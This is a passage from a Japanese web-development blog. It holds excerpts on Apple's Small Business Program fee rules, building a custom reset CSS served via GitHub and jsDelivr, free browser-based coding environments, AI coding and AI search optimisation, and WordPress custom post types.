Programアカウントに関与していないため「なし」で送信しましたが、ここで虚偽申告をするとSBPから除外されるリスクがあります。痛風管理アプリのように完全に個人で運営しているなら問題ありませんが、副業やクライアントワークで別アカウントの管理権限を持っている場合は、Appleの定義に基づいて慎重に判断してください。 承認メールはあっさり届いた 送信後、心の中では「審査で何か追加情報を求められるかも」と身構えていたのですが、結果はあっけないほどスムーズでした。Appleから「You're enrolled in the App Store Small Business Program」という件名のメールが届き、その時点で参加が確定。書類の追加提出も、面談も、追加質問もありませんでした。 メール本文には「適用開始は承認月の末日から15日後」という、Apple公式ドキュメントと完全に同じ説明が添えられていました。承認＝即適用ではなく、Appleの会計サイクルに合わせて切り替わる仕組みです。たとえば2月10日に承認された場合、3月14日から15%手数料の対象になります。 申請して感じた「個人開発者にとっての本当の意味」 申請を終えて感じたのは、SBPは「節税策」というより「個人開発者が長期戦に持ち込むための公式インフラ」だということです。15%の差はそのまま、次のアップデートに投入できる開発時間や、UIデザインのブラッシュアップに使えるコストになります。痛風管理のように医療領域のニッチアプリは、爆発的なヒットではなく、ユーザーと共に長く育てる方向性が必要です。だからこそ、デベロッパ側の手取りが安定するこの制度は、地味ですが極めて大きな意味を持ちます。 「いずれサブスクや有料機能を出すかも」と少しでも考えているなら、今のうちに申請しておく価値は十分にあります。新規デベロッパであれば自動的に対象になりますが、既存デベロッパでも申請手続きは10分。先延ばしの理由がほとんどない制度です。 なお、こうして自分のプロダクトを作り、収益化まで一人で担う働き方はインディーメーカーと呼ばれます。Web制作のスキルを「案件」から「資産」へ広げたい人は、あわせて読んでみてください。 承認後はいつから15%が適用されるのか SBPの承認は即時適用ではなく、Appleの会計サイクルに合わせて切り替わります。具体的には登録が承認された会計月の末日から15日後に、手数料が15%に調整されます。Apple公式ドキュメントが例示しているとおり、2022年2月10日に承認されたデベロッパは、2022年3月14日から15%が適用される計算です。 売上が100万米ドルを超えたらどうなるか SBPは100万米ドルが境界線です。現暦年の収益が100万米ドルの基準額を超えた場合、その後の売上については標準の30%手数料が適用されます。100万米ドルに達した瞬間に過去の取引が遡及で30%になるわけではなく、超えた以降の売上が対象です。 翌年以降は、当該暦年における収益額が再び100万米ドルを下回った場合、その翌年から再び15%手数料の対象に戻ります。年単位で出入りする設計になっているため、売上が伸びている時期は「30%＋15%のミックス課税」になる可能性も意識しておきましょう。 アプリ譲渡時の合算ルール アプリを別のデベロッパに譲渡する場合は、注意点があります。 ### [自作リセットCSSの作り方——GitHub + jsDelivr CDNで自分だけのCDN URLを手に入れる](https://codequest.work/custom-reset-css-github-cdn/) 自作リセットCSSとは、既存のリセットCSSライブラリに頼らず、自分のプロジェクトに必要な最小限のリセットだけを書いた自前のスタイルシートのことです。GitHubに公開してjsDelivr CDNで読み込めば、どのプロジェクトでもURLひとつで使い回せます。 リセットCSSは定番ライブラリを使うのが一般的ですが、「どの行が何をしているか分からないまま使っている」人も多いのではないでしょうか。自分で1行ずつ書いてみると、なぜその指定が必要なのかが体感で分かります。 この記事では、20行程度のミニマルなリセットCSSを一緒に作り、GitHubにpushしてjsDelivr CDNで読み込むところまでを実践します。所要時間は約30分。完成すれば、自分だけのCDN URLが手に入ります。 なぜ自作するのか——既製品との違い destyle.cssやNormalize.cssなどのdestyle.cssやNormalize.cssなどのリセットCSSライブラリは、あらゆるプロジェクトで使えるように設計されています。そのため、自分のプロジェクトでは使わないリセット指定も多く含まれています。 自作リセットCSSのメリットは3つあります。 すべての行の意味が分かる — 自分で書いたコードなので、何をリセットしていて何をリセットしていないかが明確 不要なコードがゼロ — プロジェクトに必要な指定だけを含むため、ファイルサイズが最小限 CSSの理解が深まる — ブラウザのデフォルトスタイルを知ることで、CSSの仕組み自体への理解が進む 比較項目定番ライブラリ自作リセットCSSファイルサイズ1〜5KB0.3〜1KBカバー範囲広い（汎用的）必要最小限学習効果低い（コピペで完了）高い（仕組みを理解）メンテナンスライブラリ更新に依存自分で管理おすすめ場面実務・チーム開発学習・個人プロジェクト 実務では定番ライブラリを使うのがベストプラクティスです。ただ、一度自分で作ってみると「なぜこのリセットが必要なのか」が腹落ちし、ライブラリを選ぶときの判断力も上がります。 自作リセットCSSを作る——7つの指定を理解する ここから実際にリセットCSSを書いていきます。各指定が「なぜ必要か」を解説するので、自分のプロジェクトに合わせて取捨選択してください。 1. box-sizingの統一 *, *::before, *::after { box-sizing: border-box; } ブラウザのデフォルトでは box-sizing: content-box が適用されており、paddingとborderが要素の幅に加算されます。border-box に変更すると、widthで指定した値がpadding・borderを含んだ最終的な幅になります。現代のCSS設計ではほぼ必須の指定です。 2. marginのリセット h1, h2, h3, h4, h5, h6, p, ul, ol, figure, blockquote { margin: 0; } ブラウザは見出し・段落・リストなどに独自のmarginを付けています。これをリセットして、自分でmarginを設計することで意図しない余白を防ぎます。* { margin: 0; } で全要素に指定する方法もありますが、パフォーマンスへの影響を避けるため、対象要素を明示する方法をおすすめします。 3. リストスタイルのリセット ul, ol { padding: 0; list-style: none; } ナビゲーションやカード一覧など、リスト要素をレイアウト目的で使う場面が多いため、デフォルトのpaddingとbullet（・）を外しておきます。文章中のリストで箇条書きが必要な場合は、そのコンポーネントのCSSで個別に list-style: disc を指定します。 4. 画像のレスポンシブ対応 img { max-width: 100%; height: auto; display: block; } 画像はデフォルトでインライン要素のため、下に数ピクセルの隙間が生まれます。display: block でこれを解消し、max-width: 100% で親要素からはみ出さないようにします。レスポンシブデザインでは必須の指定です。 5. フォントの継承設定 input, button, textarea, select { font: inherit; } フォーム要素はbodyに指定したfont-familyやfont-sizeを継承しません。ブラウザ独自のフォント設定が適用されるため、font: inherit で親要素の設定を引き継ぐようにします。これを忘れると、ボタンだけフォントが違う、入力欄の文字サイズが小さいといった問題が起きます。 6. bodyの基本設定 body { margin: 0; line-height: 1.5; -webkit-font-smoothing: antialiased; } body自身のデフォルトmarginもここで 0 にリセットします。あわせて、ブラウザデフォルトの line-height は約1.2で、本文テキストには窮屈です。1.5〜1.8に設定すると読みやすくなります。-webkit-font-smoothing: antialiased はmacOS/iOSでのフォントレンダリングを滑らかにする指定で、Josh Comeau氏のCustom CSS Resetでも採用されています。 7. アンカーリンクの色リセット a { color: inherit; text-decoration: none; } リンクのデフォルト色（青）と下線を外し、デザインに合わせてコンポーネントごとにスタイルを指定できるようにします。ただし、アクセシビリティの観点から、本文中のリンクには必ず視覚的な区別（色の変更や下線）を別途付けてください。 完成コード——ミニマル自作リセットCSS ここまでの7つの指定をまとめると、以下のようになります。ファイル名は reset.css として保存してください。 /* ======================================== My Reset CSS ======================================== */ *, *::before, *::after { box-sizing: border-box; } body { margin: 0; line-height: 1.5; -webkit-font-smoothing: antialiased; } h1, h2, h3, h4, h5, h6, p, ul, ol, figure, blockquote { margin: 0; } ul, ol { padding: 0; list-style: none; } img { max-width: 100%; height: auto; display: block; } input, button, textarea, select { font: inherit; } a { color: inherit; text-decoration: none; } わずか30行程度ですが、実際のWebサイト制作で困らないレベルのリセットが揃っています。これをベースに、プロジェクトごとに必要な指定を追加・削除して育てていきましょう。 GitHubにpushする 作ったリセットCSSをGitHubにアップロードすると、jsDelivr経由でCDNとして配信できるようになります。以下の手順で進めてください。 ステップ1：GitHubでリポジトリを作成 GitHubにログインし、右上の「+」→「New repository」をクリック Repository nameに my-reset-css（好きな名前でOK）を入力 Publicを選択（jsDelivrで配信するにはPublicリポジトリが必要） 「Add a README file」にチェック 「Create repository」をクリック ステップ2：reset.cssをアップロード Gitに慣れている方はターミナルからpushしてください。ここではブラウザだけでできる方法を紹介します。 作成したリポジトリのページで「Add file」→「Create new file」をクリック ファイル名に reset.css と入力 エディタに先ほど作成したリセットCSSのコードを貼り付け 下部の「Commit changes」で「Commit directly to the main branch」を選択してコミット ターミナルからpushする場合は以下のコマンドです。 git init my-reset-css cd my-reset-css # reset.cssをこのフォルダに作成済みとして git add reset.css git commit -m "Add reset.css" git remote add origin https://github.com/あなたのユーザー名/my-reset-css.git git branch -M main git push -u origin main ステップ3：バージョンタグをつける jsDelivrではバージョンを指定してファイルを配信できます。タグをつけておくと、特定バージョンを固定して読み込めるようになります。 ブラウザからの場合： リポジトリページの右サイドバー「Releases」→「Create a new release」 「Choose a tag」に v1.0.0 と入力し「Create new tag」 Release titleに v1.0.0 と入力 「Publish release」をクリック ターミナルからの場合： git tag v1.0.0 git push origin v1.0.0 jsDelivr CDNで読み込む jsDelivrは、GitHubリポジトリのファイルをCDN経由で配信してくれる無料サービスです。npmパッケージとして公開しなくても、GitHubにpushするだけでCDN URLが使えます。 CDN URLの構造 https://cdn.jsdelivr.net/gh/ユーザー名/リポジトリ名@バージョン/ファイルパス 例えば、GitHubユーザー名が tanaka、リポジトリが my-reset-css、タグが v1.0.0 の場合： <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/tanaka/my-reset-css@v1.0.0/reset.css"> このURLをHTMLの <head> 内に書くだけで、自作リセットCSSが読み込まれます。 バージョン指定のパターン 指定方法URL例動作バージョン固定@v1.0.0常にv1.0.0のファイルを配信メジャー指定@v1v1系の最新（v1.2.3など）を自動配信最新@latest常に最新のタグを配信ブランチ指定@mainmainブランチの最新を配信（キャッシュ24時間） 本番環境ではバージョン固定（@v1.0.0）を使いましょう。開発中は @main で最新を追いかけると便利です。 動作確認——実際に使ってみる CDN URLが手に入ったら、実際のHTMLファイルで試してみましょう。ブラウザのコーディング環境を使えば、ファイルを作らずにすぐ試せます。 ### [ブラウザだけで始めるプログラミング練習環境5選【環境構築不要・無料】](https://codequest.work/browser-coding-environment/) 「プログラミングを始めたい。でも環境構築でつまずいて、コードを1行も書かないまま諦めた。」 プログラミング学習の挫折率は約9割と言われています（侍エンジニア調べ）。そしてその原因の多くは「コードが書けない」ではなく、「コードを書く前の準備で心が折れる」ことです。Node.jsのインストール、PATHの設定、エディタの拡張機能選び——本来の目的は「コードを書いて動かすこと」なのに、そこにたどり着く前に消耗してしまう。 でも、今はブラウザを開くだけでコーディングを始められるツールが無料で使えます。この記事では、環境構築なしで今すぐコードを書ける練習環境を5つ紹介します。まだ1行もコードを書いたことがなくても大丈夫。まずは触ってみることから始めましょう。 なぜ環境構築が最大のハードルなのか プログラミングスクールの調査によると、独学で挫折する人の多くが「環境構築」「エラーの解決方法が分からない」を理由に挙げています。環境構築とは、コードを書いて動かすためのソフトウェアをPCにインストール・設定する作業のことです。 具体的にはこんな壁があります。 OS依存の手順の違い — WindowsとMacで手順が違い、検索した記事通りにやっても動かない バージョンの不一致 — チュートリアルの動画と自分のPCで入るバージョンが違い、エラーが出る 用語が分からない — ターミナル、PATH、npm、パッケージマネージャ……コードを書く前に覚えることが多すぎる そもそも何をインストールすればいいか分からない — 「Node.js? Python? 何の言語から始めればいいの？」で止まる ブラウザで動くコーディング環境は、これらの問題をすべてスキップできます。URLを開いてコードを書くだけ。それだけで、結果が画面に表示されます。 ブラウザで使える無料コーディング環境5選 ここでは、目的別に5つのツールを紹介します。どれも無料プランがあり、アカウント登録なしでも試せるものもあります。 1. CodePen — HTML/CSS/JSを書いて即プレビュー CodePenは、HTML・CSS・JavaScriptの3つのエディタが横に並び、書いたコードがリアルタイムで下のプレビューに反映されるサービスです。「コードを変えたら見た目が変わる」という体験を最も手軽にできます。 向いている人：HTML/CSSを初めて触る人、CSSアニメーションを試したい人 無料でできること：Pen（コードの作成・公開）が無制限、他の人のPenをフォークして改造可能 制限：プライベートPenは有料（Pro $12/月）、アセットホスティングも有料 URL：codepen.io CodeQuestの模写コーディング一覧にある練習課題も、CodePenで手軽に試せます。まずは見本のCSSを1箇所変えて、色が変わる体験から始めてみてください。 2. Replit — 50以上の言語に対応するクラウドIDE Replitは、ブラウザ上で動く本格的な開発環境です。エディタ・ターミナル・プレビューが一体化しており、Python、JavaScript、Java、C++など50以上の言語に対応しています。2026年からはAIコーディングアシスタントも統合され、初心者がエラーで詰まったときにAIに質問できるようになりました。 向いている人：HTML/CSS以外の言語も試したい人、「とにかく何か動くものを作りたい」人 無料でできること：Repl（プロジェクト）の作成・実行、基本的なAIアシスタント、アプリ1つの公開 制限：無料プランは月1,200分の開発時間制限、ストレージ10GB URL：replit.com CodeQuestのJavaScript練習問題をReplitで解くと、ファイル作成やブラウザのコンソールを使う手間なく、すぐにコードを書いて実行結果を確認できます。 3. StackBlitz — ブラウザでNode.jsが動くフレームワーク学習環境 StackBlitzは、WebContainersという技術でブラウザ内に実際のNode.js環境を構築するサービスです。React、Vue、Angular、Next.jsなどのフレームワークをワンクリックで起動でき、npmパッケージのインストールまでブラウザ内で完結します。一度読み込めばオフラインでも動作するのが特徴です。 向いている人：HTML/CSSは分かってきて、ReactやVueに挑戦したい人 無料でできること：プロジェクト作成・実行・共有、主要フレームワークのテンプレート 制限：プライベートプロジェクトは有料（Pro $8/月） URL：stackblitz.com 4. CodeSandbox — プロジェクト単位で学ぶ実践環境 CodeSandboxは、実際のプロジェクト構造（フォルダ・ファイル構成）をそのままブラウザ上で再現できる環境です。テンプレートからReactやVueのプロジェクトを瞬時に作成でき、ファイル構成を見ながら「どのファイルが何をしているか」を学べます。 向いている人：「1ファイルの練習」から「プロジェクト全体の構成」を学びたい人 無料でできること：Sandbox作成・実行・共有、GitHubリポジトリのインポート 制限：プライベートSandboxは有料（Pro $9/月） URL：codesandbox.io 5. paiza.io — 日本語UIでアルゴリズムを練習 paiza.ioは、日本語のUIで24言語のコードを即実行できるオンライン実行環境です。アカウント登録なしで使え、書いたコードをURLで共有することもできます。同社のpaizaラーニングと連動しており、プログラミング問題をブラウザ上で解く練習にも使えます。 向いている人：英語のUIが不安な人、アルゴリズムの練習をしたい人 無料でできること：コードの作成・実行・共有がすべて無料、登録不要 制限：Web開発のプレビュー機能はなし（コード実行とコンソール出力のみ） URL：paiza.io 5つのツール比較表 ツール得意領域対応言語登録不要日本語UICodePenHTML/CSS/JSスニペットHTML, CSS, JS○（閲覧・フォーク）×Replit汎用クラウドIDE50言語以上××StackBlitzフレームワーク学習JS/TS + Node.js○×CodeSandboxプロジェクト構成学習JS/TS + Node.js○×paiza.ioアルゴリズム練習24言語○○ 最初の一歩：どのツールから始めるか 選び方に正解はありません。でも、迷って何も始めないのが一番もったいない。以下を目安にしてみてください。 「Webサイトの見た目を作りたい」 → CodePenを開いて、模写コーディング課題に挑戦 「プログラミングの基本を学びたい」 → Replitでプロジェクトを作り、JavaScript練習問題を解いてみる 「Reactとか使ってみたい」 → StackBlitzでReactテンプレートを開いて、1行変えてみる 「英語が不安」 → paiza.ioで日本語UIのまま始める 完璧な環境を整えてから始めようとしなくて大丈夫です。ブラウザを開いて、1行書いて、動く。その体験がすべての出発点です。 練習環境を手に入れたら、次にやること ツールを選んだら、次は「何を書くか」です。CodeQuestでは難易度別のコーディング練習コンテンツを無料で公開しています。 練習アプリ【全7本】 — HTML・CSS・JavaScript・Node.jsをブラウザだけで解けるドリル形式。環境構築なしで始められる JavaScript練習問題【初級〜中級】 — 基本文法からDOM操作まで段階的に学べる 模写コーディング一覧【全31記事】 — 実在するWebサイトを見ながら再現する実践練習 CSS実装テクニック集 — レイアウト・アニメーション・設計手法の引き出しを増やす CSS Gridジェネレーター — グリッドレイアウトのコードを視覚的に生成 Flexboxジェネレーター — フレキシブルレイアウトを直感的に作成 大切なのは「毎日少しずつ」ではなく、「まず1回やってみる」ことです。1回動かせたら、必ずもう1回やりたくなります。 よくある質問 Q. ブラウザの環境だけで本当にプログラミングが学べますか？ HTML/CSS/JavaScriptの基礎からReact等のフレームワークまで、ブラウザ環境だけで十分に学べます。実務で本格的に開発する段階になったら、VS CodeやClaude Codeなどのローカル環境に移行すれば良いので、最初からすべてを揃える必要はありません。 Q. スマホでもコーディング練習はできますか？ Replitはスマートフォンやタブレットからもアクセス可能です。ただし、コーディングはキーボード入力が中心の作業なので、PCやタブレット+外付けキーボードの環境をおすすめします。通勤中にコードを読む、アイデアをメモするといった用途ならスマホでも十分です。 Q. 無料プランだけで不便に感じることはありますか？ 学習目的であれば、どのツールも無料プランで十分に使えます。有料プランが必要になるのは、プロジェクトを非公開にしたい場合やチームで共同作業する場合です。学習段階ではまず気にしなくて大丈夫です。 Q. どのプログラミング言語から始めるべきですか？ Web制作に興味があるなら、HTML → CSS → JavaScriptの順番がおすすめです。HTMLで文書の構造を作り、CSSで見た目を整え、JavaScriptで動きを付ける。この流れで学ぶと、書いたコードの結果がすぐ目に見えるので、挫折しにくいです。 Q. ブラウザ環境から本格的な開発環境に移行するタイミングは？ 「このツールでは自分のやりたいことができない」と感じたときが移行のタイミングです。具体的には、ローカルファイルを扱いたくなった、Gitでバージョン管理をしたくなった、複数ファイルのプロジェクトを管理したくなった、などです。その頃には環境構築の手順も自然に理解できるようになっているはずです。 まとめ 環境構築は、かつてはプログラミング学習の「通過儀礼」でした。でも今は、その壁を越えなくてもコーディングを始められる時代です。CodePen、Replit、StackBlitz、CodeSandbox、paiza.io——どれを選んでも、ブラウザを開いた瞬間からコードが書けます。 「いつか始めよう」と思い続けるより、今日5分だけ試してみてください。完璧な準備は要りません。ブラウザと、少しの好奇心があれば十分です。 ブラウザ環境の次のステップは、公開URLを持つことです。 ### [AI時代のWeb制作完全ガイド｜AIを使う×AIに見つけてもらう【2026年版】](https://codequest.work/ai-web-guide/) AI時代のWeb制作ガイドとは、AIを「使う側」と「見つけてもらう側」の両面から、Web制作者が押さえるべき知識と実践方法を体系的にまとめたハブページです。 2026年現在、AIはWeb制作の現場を2つの方向から変えています。1つはAIを使ってコードを書く（バイブコーディング、Claude Code、Cursor等）。もう1つはAIに自社サイトを見つけてもらう（AIO、GEO、LLMO等のAI検索最適化）。この2つは別々の話題に見えますが、「AIの仕組みを理解し、適切に設計する」という共通スキルで繋がっています。 このページでは、CodeQuestで公開しているAI関連記事を「使う」「見つけてもらう」の2軸で整理しています。気になるトピックから読み始めてください。 AIを"使う" — コーディングを変えるAI活用 AIコーディングとは、生成AIにプロンプト（指示文）を渡してコードを生成・修正する開発スタイルです。2026年時点で、個人開発者からプロの現場まで急速に普及しています。ただし、AIが出力するコードの品質は「指示の出し方」で大きく変わります。このセクションでは、AIコーディングの始め方からツール選定、プロンプト設計までを段階的に紹介します。 AIコーディングの始め方 「AIでコードを書く」と聞くと難しそうに感じますが、実際は自然言語で作りたいものを伝えるだけで始められます。この新しい開発スタイルは「バイブコーディング」と呼ばれ、従来の写経型学習とは異なるアプローチでスキルを身につけられます。 👉 AI時代のコーディング学習法｜バイブコーディング・ClaudeCode・Cursor・Copilotで実力をつける成長戦略 プロンプト設計の考え方 AIコーディングの成果を左右するのはAIの性能ではなく、使う側の「指示の質」です。何を作りたいか、どんな制約があるか、どの技術スタックを使うかを明確にプロンプトで伝えることで、実務で通用するコードが生成されます。逆に曖昧な指示では、動くけど使えないコードしか返ってきません。 AIとの協働コーディング入門｜プロンプトの書き方で結果が変わる理由 — プロンプトの5つの基本要素とテンプレート 生成AIは"無能な上司"では使いこなせない理由 — AIに的確な指示を出すための思考法 Claude Codeで実践する Claude CodeはAnthropic社が提供するAIコーディングアシスタントです。ターミナルから直接操作でき、ファイルの読み書き・Git操作・外部ツール連携（MCP）まで1つのインターフェースで完結します。CodeQuestのテーマ開発でも実際に使用しており、基本操作から上級テクニック、実際のアプリ制作事例まで解説しています。 Claude Codeコマンド一覧＆実践ガイド【2026年版】 — インストールからコマンド・ショートカットまで網羅 Claude Code上級編｜MCP・Hooks・Skills・サブエージェント実践ガイド — 外部ツール連携と自動化で開発環境を構築 Claude Codeでブログ見出しデザインツールを作ってみた｜プロンプト公開 — プロンプト1つでアプリを作る実例 生成AIの選び方・使い分け 生成AIはテキスト・画像・動画・音楽と領域ごとに得意なモデルが異なります。また、AIが制作物を量産できるようになった今、「何を作るか」よりも「何を採用するか」の判断力がWeb制作者に求められています。 主要生成AIを完全比較！テキスト・画像・動画・音楽の使い分けガイド【2026年版】 — 領域別の最適ツール選定 AI時代に必要なディレクターとは何か｜制作もでき判断もできる人だけが実務で残る — AI時代に価値を持つ人材像 AIに"見つけてもらう" — AI検索最適化の全体像 AI検索最適化（AIO）とは、ChatGPT・Perplexity・Google AI OverviewなどのAI検索エンジンに自社サイトの情報を正しく認識・引用してもらうための施策です。従来のSEOがGoogleの検索結果ページでの順位を目指すのに対し、AI検索最適化はAIが生成する回答文の中に自サイトの情報が含まれることを目指します。 このセクションでは、AIO/AEO/GEO/LLMOの用語整理から具体的な実装方法まで、Web制作者が自分の手で対策できる内容を紹介します。 AIO・AEO・GEO・LLMOを理解する AI検索最適化には複数の用語が存在し、混同されがちです。AIO（AI Optimization）は総称、AEO（Answer Engine Optimization）はFAQ・回答特化、GEO（Generative Engine Optimization）は生成AI向け、LLMO（Large Language Model Optimization）はLLMモデル向けの最適化を指します。それぞれの違いと関係性を理解することが対策の第一歩です。 AIO・AEO・GEO・LLMOとは？AI時代のSEO新概念の違いと実践的な最適化方法 — 4つの用語の定義・違い・対策ステップ SEO・AEO・GEOとは？検索最適化3軸の役割と設計戦略 — 3つの最適化を階層構造として捉える視点 AI検索で引用されるサイトの作り方 AI検索に引用されるには、構造化データ（JSON-LD）の実装、明確な定義文とFAQの整備、robots.txtでAIクローラーを塞がないことが具体的な施策になります。これらは概念ではなく実装作業であり、Web制作者であればすぐに手を動かせる領域です。なおllms.txtについては、2026年8月時点で「読んでいる」と公式に表明したAI提供元がまだありません（詳細はllms.txtとは何か）。 【2026年版】AI検索時代のSEO対策入門 — llms.txt・構造化データ・FAQの始め方 — 3つの施策を初心者向けに解説 AI検索で自社サイトが引用されない？今すぐできる3つの対策 — llms.txt・構造化データ・robots.txtの具体的な設定方法 AIに自社サイトを正しく認識させる方法｜llms.txtとは何か — 各AI提供元の公式スタンスと実測データで効果を検証 有料広告とAI検索最適化の違い 検索での可視性を「お金で買う」か「専門性で勝ち取る」か。AI検索時代においては、実務経験と専門性に裏付けられたコンテンツが長期的な競争力を持ちます。 👉 有料広告 vs SEO+AEO+LLMO｜AI検索時代に「本物」が勝つ理由 まず最低ラインをチェックしよう AI検索最適化に取り組む前に、そもそもサイトの基本SEOが最低ラインを満たしているかを確認することが大前提です。構造化データが未実装、メタタグが空欄、見出し構造が崩れている状態では、AI検索以前の問題です。 Direbase（ディレベース）は、構造化データ・基本SEO・コンテンツ・技術的SEOの4カテゴリ・45項目を自動チェックするツールです。URLを入力するだけで、自サイトが最低ラインを満たしているかを無料で確認できます。 無料でSEOチェックする（45項目） チェックカテゴリ配点チェック内容の例構造化データ40点JSON-LD検出、Schema.org準拠判定基本SEO30点タイトル・メタタグ、見出し階層コンテンツ20点文字数、画像alt属性、内部リンク技術的SEO10点HTTPS対応、モバイル最適化 AI時代のWeb制作ロードマップ 「何から始めればいいか分からない」という方のために、3ステップのロードマップを提案します。 ステップ1：現状を把握するまずはDirebaseで自サイトの基本SEOスコアを確認。構造化データ・メタタグ・見出し構造の問題点を洗い出します。 ステップ2：AIを使って改善する洗い出した課題を、AIコーディングツールで効率的に修正。Claude CodeやCursorを使えば、構造化データの追加やコンテンツ改善を高速に進められます。 ステップ3：AI検索に最適化する基本SEOが整った上で、FAQ構造化データの追加や定義文の明確化など、AI検索固有の施策を実装します。llms.txtは効果が未確認のため、優先順位は最後で構いません。 なお、これから新規に立ち上げるサイトであれば、ステップ1とステップ2の一部は1記事目を書く前にまとめて終わらせられます。記事が0本のうちに片付けておく項目はGEO・AIO対策の着手順で整理しています。 よくある質問 Q. AIコーディングを始めるのにプログラミング経験は必要ですか？ プログラミング未経験でも始められます。バイブコーディングでは自然言語で「こういうものを作りたい」と伝えるだけで動くコードが生成されます。ただし、出力されたコードの意図を理解するためには、HTML/CSS/JavaScriptの基礎知識があると修正や改善が格段にスムーズです。 Q. AIO対策はSEO対策と別にやる必要がありますか？ AIO（AI検索最適化）はSEOと対立するものではなく、SEOの上に積み重ねる施策です。構造化データの実装、明確な見出し構造、FAQの整備といった基本SEOがAIOの土台になります。まず基本SEOを固めてから、AIクローラーの許可設定や定義文の明確化を追加するのが効率的です。 Q. Claude CodeとCursorはどちらを使うべきですか？ 用途で使い分けるのがベストです。Claude Codeはターミナルベースで、Git操作・ファイル管理・外部ツール連携（MCP）まで1つの環境で完結するため、プロジェクト全体を扱う作業に向いています。CursorはVSCodeベースのエディタで、コード補完やファイル単位の編集に強みがあります。 Q. llms.txtとは何ですか？必ず設置すべきですか？ llms.txtは、サイトの概要・主要コンテンツ・連絡先などをまとめ、AIに読んでもらうことを想定して提案されたファイルです。ただし2026年8月時点で、自社のAIがllms.txtを読んでいると公式に表明したAI提供元は1社もありません。Googleは公式ドキュメントで「Google検索は使用していない」と明記しています。置いても害はありませんが、必須ではなく、構造化データやFAQの整備を先に済ませるべきです。詳細はAIに自社サイトを正しく認識させる方法｜llms.txtとは何かで検証しています。 Q. AI検索最適化の効果はどうやって測定しますか？ 2026年時点では、AI検索での引用を直接計測する標準的な方法は確立されていません。Google Search ConsoleのAI Overview関連の指標や、ChatGPT・Perplexityで自社名や主要キーワードを検索して引用の有無を確認する方法が実践的です。まずは基本SEOのスコアを定期的に計測し、構造化データの実装状況を把握することから始めましょう。 まとめ AI時代のWeb制作者に必要なのは、AIを使ってコードを書くスキルと、AIに自サイトを見つけてもらう設計力の両方です。この2つは独立した話題ではなく、「AIの仕組みを理解し、適切に情報を構造化する」という共通基盤の上に成り立っています。 まずは自サイトの現状チェックから始めてみてください。 無料でSEOチェックする（45項目） ### [WordPressカスタム投稿タイプの作り方｜register_post_typeの設定と実装](https://codequest.work/wordpress-custom-post-type-guide/) カスタム投稿タイプとは、WordPressの標準の「投稿」や「固定ページ」とは別に、独自のコンテンツタイプを作成できる機能です。register_post_type()関数を使ってfunctions.phpに登録することで、管理画面に専用メニューが追加され、テンプレートファイルによる表示カスタマイズも可能になります。 この記事では、カスタム投稿タイプの基本概念からregister_post_type()の主要引数、ラベル設定、テンプレート対応、カスタムタクソノミーの紐付け、管理画面のカスタマイズまでを順を追って解説します。WordPressサイトで「実績」「商品」「お知らせ」などの独自コンテンツを管理したい方は、ぜひ参考にしてください。 WordPressのテンプレートファイル全体の仕組みについては、WordPressテーマのテンプレートファイル一覧と役割で詳しく解説しています。 カスタム投稿タイプとは？ WordPressには標準で「投稿（post）」と「固定ページ（page）」という2つのコンテンツタイプがあります。ブログ記事は「投稿」、会社概要やお問い合わせページは「固定ページ」として管理するのが一般的です。 しかし、サイトの規模が大きくなると「実績紹介」「商品情報」「お知らせ」「スタッフ紹介」など、投稿とも固定ページとも異なるコンテンツが必要になります。これらを通常の投稿に混ぜて管理すると、カテゴリが煩雑になり、テンプレートの出し分けも難しくなります。 カスタム投稿タイプを使えば、管理画面のサイドバーに専用メニューが追加され、通常の投稿とは完全に分離して管理できます。テンプレートファイルも専用のものを用意できるため、デザインや表示内容を投稿タイプごとに最適化できます。 標準の投稿タイプとの比較 項目投稿（post）固定ページ（page）カスタム投稿タイプ用途ブログ記事・ニュース会社概要・お問い合わせ等実績・商品・お知らせ等時系列の並びありなし設定次第カテゴリ・タグあり（標準）なしカスタムタクソノミーで対応テンプレート階層single.phppage.phpsingle-{post_type}.phpアーカイブありなしhas_archiveで設定管理画面メニュー「投稿」「固定ページ」専用メニュー追加 よく使われるカスタム投稿タイプの例 実績・ポートフォリオ（works）: 制作実績や事例紹介を一覧・個別表示 商品（products）: ECサイトほどの機能は不要だが、商品情報を掲載したい場合 お知らせ（news）: ブログとは別にお知らせ・プレスリリースを管理 スタッフ紹介（staff）: チームメンバーのプロフィールを管理 物件情報（properties）: 不動産サイトの物件データ管理 イベント（events）: セミナーやイベント情報を日付管理 register_post_typeの基本 カスタム投稿タイプは、functions.phpにregister_post_type()関数を記述して登録します。initフックに紐付けるのが基本パターンです。 最小構成のコード まずは最小限の引数で動作するコードを見てみましょう。以下のコードをfunctions.phpに追加すると、管理画面に「実績」メニューが表示されます。 function my_register_post_types() { register_post_type( 'works', array( 'labels' => array( 'name' => '実績', 'singular_name' => '実績', ), 'public' => true, 'has_archive' => true, 'menu_icon' => 'dashicons-portfolio', 'supports' => array( 'title', 'editor', 'thumbnail' ), 'show_in_rest' => true, ) ); } add_action( 'init', 'my_register_post_types' ); このコードのポイントは以下の通りです。 第1引数 'works' は投稿タイプのスラッグ（20文字以内、小文字英数字とアンダースコア） 'public' => true でフロントエンドと管理画面の両方に表示 'has_archive' => true でアーカイブページ（一覧ページ）を有効化 'show_in_rest' => true はブロックエディタ（Gutenberg）を使うために必須 'supports' で使用するエディタ機能を指定 functions.phpのカスタマイズ全般については、functions.php便利コード集も参考にしてください。 主要引数の一覧 register_post_type()の第2引数で指定できる主要な引数は以下の通りです。WordPress公式ドキュメント（Developer Resources）に基づいています。 引数型デフォルト説明labelsarray-管理画面に表示されるラベルの配列publicboolfalseフロントエンド・管理画面・クエリで使用可能にするhas_archivebool/stringfalseアーカイブページを有効にするshow_in_restboolfalseREST APIとブロックエディタで使用可能にするsupportsarray['title', 'editor']サポートする機能（title, editor, thumbnail, excerpt等）menu_iconstringnull管理画面メニューのアイコン（Dashiconsクラス名またはSVG）menu_positionintnull管理画面メニューの表示位置（5=投稿の下、20=固定ページの下 等）rewritearray/booltrueパーマリンク構造の設定（slugキーでURLスラッグ変更可能）capability_typestring'post'権限の基準となる投稿タイプhierarchicalboolfalsetrueで固定ページのように親子関係を持てるtaxonomiesarray[]紐付けるタクソノミーのスラッグ配列publicly_queryableboolpublicの値フロントエンドでクエリ可能にするexclude_from_searchbool!publicの値サイト内検索から除外する supportsで指定できる機能 supports引数に渡す配列で、投稿編集画面で使える機能を選択できます。 値機能titleタイトル入力欄editor本文エディタthumbnailアイキャッチ画像excerpt抜粋custom-fieldsカスタムフィールドpage-attributesページ属性（メニューの順序、親ページ）commentsコメントrevisionsリビジョンauthor投稿者の選択 ラベルの設定 